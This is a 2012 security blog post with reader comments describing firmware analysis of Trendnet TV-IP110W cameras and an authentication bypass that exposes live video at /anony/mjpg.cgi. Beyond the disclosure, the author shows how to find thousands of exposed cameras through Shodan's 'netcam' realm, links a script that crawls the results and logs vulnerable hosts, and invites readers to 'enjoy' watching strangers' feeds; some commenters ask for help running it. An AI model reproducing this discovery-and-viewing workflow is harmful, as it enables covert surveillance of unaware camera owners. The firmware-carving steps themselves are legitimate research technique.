Tuesday, January 10, 2012

Trendnet Cameras - I always feel like somebody's watching me.

Firstly this post requires the following song to be playing.

Now that we got that out of the way... I have been seeing posts on sites with people having fun with embedded systems/devices and I was feeling left out. I didn't really want to go out and buy a device so I looked at what was laying around. 

To start off the latest firmware for this device can be found at the following location :

First order of business was to update the camera with the most recent firmware:
Device info page confirming firmware version
Now that the device was using the same version of firmware as I was going to dive into, lets get to work. I will be using binwalk to fingerprint file headers that exist inside the firmware file. Binwalk can be downloaded from the following url: http://code.google.com/p/binwalk/

Running binwalk against the firmware file 
binwalk FW_TV-IP110W_1.1.0-104_20110325_r1006.pck 
DECIMAL   HEX       DESCRIPTION
-------------------------------------------------------------------------------------------------------
32320     0x7E40     gzip compressed data, from Unix, last modified: Thu Mar 24 22:59:08 2011, max compression
679136     0xA5CE0   gzip compressed data, was "rootfs", from Unix, last modified: Thu Mar 24 22:59:09 2011, max compression
Looks like there are two gzip files in the "pck" file. Lets carve them out using 'dd'. First cut the head off the file and save it off as '1_unk'
#dd if=FW_TV-IP110W_1.1.0-104_20110325_r1006.pck of=1_unk bs=1 count=32320
32320+0 records in
32320+0 records out
32320 bytes (32 kB) copied, 0.167867 s, 193 kB/s
Next cut out the first gzip file that was identified, we will call this file '2'
#dd if=FW_TV-IP110W_1.1.0-104_20110325_r1006.pck of=2 bs=1 skip=32320 count=646816
646816+0 records in
646816+0 records out
646816 bytes (647 kB) copied, 2.87656 s, 225 kB/s
Finally cut the last part of the file out that was identified as being a gzip file, call this file '3'
#dd if=FW_TV-IP110W_1.1.0-104_20110325_r1006.pck of=3 bs=1 skip=679136
2008256+0 records in
2008256+0 records out
2008256 bytes (2.0 MB) copied, 8.84203 s, 227 kB/s
For this post I am going to ignore files '1_unk' and '2' and just concentrate on file '3' as it contains an interesting bug :) Make a copy of the file '3' and extract it using gunzip
#file 3
3: gzip compressed data, was "rootfs", from Unix, last modified: Thu Mar 24 22:59:09 2011, max compression
#cp 3 3z.gz
#gunzip 3z.gz
gzip: 3z.gz: decompression OK, trailing garbage ignored
#file 3z
3z: Minix filesystem, 30 char names
As we can see the file '3' was a compressed Minix file system. Lets mount it and take a look around.
#mkdir cameraFS
#sudo mount -o loop -t minix 3z cameraFS/
#cd cameraFS/
#ls
bin  dev  etc  lib  linuxrc  mnt  proc  sbin  server  tmp  usr  var
There is all sorts of interesting stuff in the "/server" directory but we are going to zero in on a specific directory "/server/cgi-bin/anony/"
#cd server/cgi-bin/anony/
#ls
jpgview.htm  mjpeg.cgi  mjpg.cgi  view2.cgi
The "cgi-bin" directory is mapped to the root directory of http server of the camera, knowing this we can make a request to http://192.168.1.17/anony/mjpg.cgi and surprisingly we get a live stream from the camera. 

video stream. giving no fucks.


Now at first I am thinking, well the directory is named "anony" that means anonymous so this must be something that is enabled in the settings that we can disable.... Looking at the configuration screen you can see where users can be configured to access the camera. The following screen shows the users I have configured (user, guest)
Users configured with passwords.

Still after setting up users with passwords the camera is more than happy to let me view its video stream by making our previous request. There does not appear to be a way to disable access to the video stream, I can't really believe this is something that is intended by the manufacturer. Lets see who is out there :)

Because the web server requires authentication to access it (normally) we can use this information to fingerprint the camera easily. We can use the realm of 'netcam' to conduct our searches 
HTTP Auth with 'netcam' realm
Hopping on over to Shodan (http://www.shodanhq.com) we can search for 'netcam' and see if there is anyone out there for us to watch
9,500 results
If we check a few we can see this is limited to only those results with the realm of 'netcam' and not 'Netcam'
creepy hole in the wall

front doors to some business
Doing this manually is boring and tedious, wouldn't it be great if we could automagically walk through all 9,500 results and log the 'good' hosts.... http://consolecowboys.org/scripts/camscan.py

This python script requires the shodan api libs http://docs.shodanhq.com/ and an API key. It will crawl the shodan results and check if the device is vulnerable and log it. The only caveat here is that the shodan api.py file needs to be edited to allow for including result page offsets. I have highlighted the required changes below.
    def search(self, query,page=1):
        """Search the SHODAN database.
     
        Arguments:
        query    -- search query; identical syntax to the website
        page     -- page number of results      

        Returns:
        A dictionary with 3 main items: matches, countries and total.
        Visit the website for more detailed information.
     
        """
        return self._request('search', {'q': query,'page':page})

Last I ran this there was something like 350 vulnerable devices that were available via shodan. Enjoy.

Update: We are in no way associated with the @TRENDnetExposed twitter account.

28 comments:

  1. http://www.geenstijl.nl/.
    Holland's mosty favorite website has a topic on these webcams and even a link to this blog!.
    That'll generate a bunch of visitors today for ya!All da best in 2012 for ya,kski from:www.koenski-beterweter.blogspot.com.

    ReplyDelete
  2. Anyone have any idea which Trendnet cameras are effected by this? Clearly the ip110w is, but some of the cameras I've seen that are vulnerable have night vision and I know the ip110 and ip110w do not have night vision. Just wondering which ones this will work with.

    ReplyDelete
  3. It looks like the following cameras are vulnerable:
    TV-IP110W
    TV-IP110WN
    TV-IP121WN
    TV-IP410

    ReplyDelete
  4. DISCONTINUED PRODUCT
    The TV-IP110W (Version A1.0R) has been discontinued. It has been replaced by the TV-IP110WN (Version v1.0R). For a list of discontinued products, click here.
    From page of TRENDnet:(!
    So they stopped to produce them:(!

    ReplyDelete
  5. ALL the netcams from Trendnet are vulnerable (and I suspect a slew of other from different manufacturers).
    I have one that isn't listed here and it is vulnerable to the auth bypass.
    I have contacted their customer support (and I suggest you do the same) but they aren't really proactive in solving the issue with a firmware upgrade.
    If only we could just flash the original firmware with OpenWRT or something different that would give us full control on the camera features...

    ReplyDelete
  6. It is starting to look like all trendnet cameras are vulnerable, they have updated their downloads page with critical updates that "improve security" for the following cameras:
    TV-IP121W
    TV-IP252P
    TV-IP410WN
    TV-IP410
    TV-IP121WN
    TV-IP110WN
    TV-IP110W

    That is 7/11 of the cameras they make.

    ReplyDelete
  7. This comment has been removed by the author.

    ReplyDelete
  8. 7 feb 9:00 (+1 gmt)

    http://www.shodanhq.com/ -->
    Undergoing maintenance, please stand by.

    ReplyDelete
  9. TRENDnet just do a firmware update : http://www.trendnet.com/downloads/

    ReplyDelete
  10. Whats about the cams from Vialar? I saw some with the search for Ipcam. The Interface seems to be very week, may they have the same prob like trendnet.

    ReplyDelete
  11. unbelievable!!
    geez treadnet!
    u guyz are gonna make a hacker out of me! :O :P ;)

    ReplyDelete
  12. We have done the cover of the national newspaper in Buenos Aires about this issue http://translate.google.com/translate?sl=es&tl=en&js=n&prev=_t&hl=en&ie=UTF-8&layout=2&eotf=1&u=http%3A%2F%2Fwww.pagina12.com.ar%2Fdiario%2Fcdigital%2F31-188001-2012-02-21.html

    ReplyDelete
  13. Hello someLuser,

    it was very interresting you found out with the firmware. We have tested it on several other IPcameras but got no access. We would like to hire you for testing the firmware of one of our new products.
    If you do have interrests please call me at:
    +49 2131 36685676
    HMay

    ReplyDelete
  14. hi I've got the script running but after about 30 seconds i get this error"shodan.api.WebAPIError: Too many results requested, not enough credits"

    ReplyDelete
    Replies
    1. You need to pay for the unrestricted api calls in order to view more results http://www.shodanhq.com/anniversary

      Delete
  15. Thanks. I upgraded to the 1.1.1.105 firmware and the issue is gone.
    Unfortunately, so is the 1.1.0.104 firmware from your download link (Trendnet website). Could you provide a link to it? Reason: I run binwalk on 105, cut with dd, and mounted the minix fs. Bytecounts are exactly the same as for 104! The anon dir is still there - it just needs a password now. I would love to run a diff and see what they changed.

    ReplyDelete
    Replies
    1. This should be correct - http://consolecowboys.org/fw_tv-ip110w_a1.x(1.1.0.104).zip

      Delete
  16. can someone give me a summary on how to use the script, im new to codes. Am I suppose to open the script with notepad? and save it as htm? because with binwalk, shodan documentary are all scripts and how am i suppose to use them

    ReplyDelete
    Replies
    1. or at least just give me the full link with everything wthout me have to create my own script

      Delete
  17. Shouldn't it be possible to alert some of these people that are victims of this flaw? Possibly through their ISP via a whois lookup? It makes me sick that these people have no idea this is happening.

    ReplyDelete
  18. CCTV is big equipment to record video. It is always use to identify criminals, with the record of CCTV we make decision easily. It is really helpful.

    cctv camera in ludhiana || security systems in ludhiana

    ReplyDelete
  19. Great creation. thank you for sharing this knowledge

    www.visec.net/index.php Watch your Home or office,Video Surveillance,Web cam surveillance, Live video of your home, protect family, surveillance software

    ReplyDelete
  20. Great and informative information you have shared, which is knowledgeable. Thank for sharing. Keep me more updates WorldEyeCam

    ReplyDelete
  21. Thanks for compiling such nicest information in your blogs. Articles are very informative and hope again I’ll find more like that. Kraig Woongoed

    ReplyDelete

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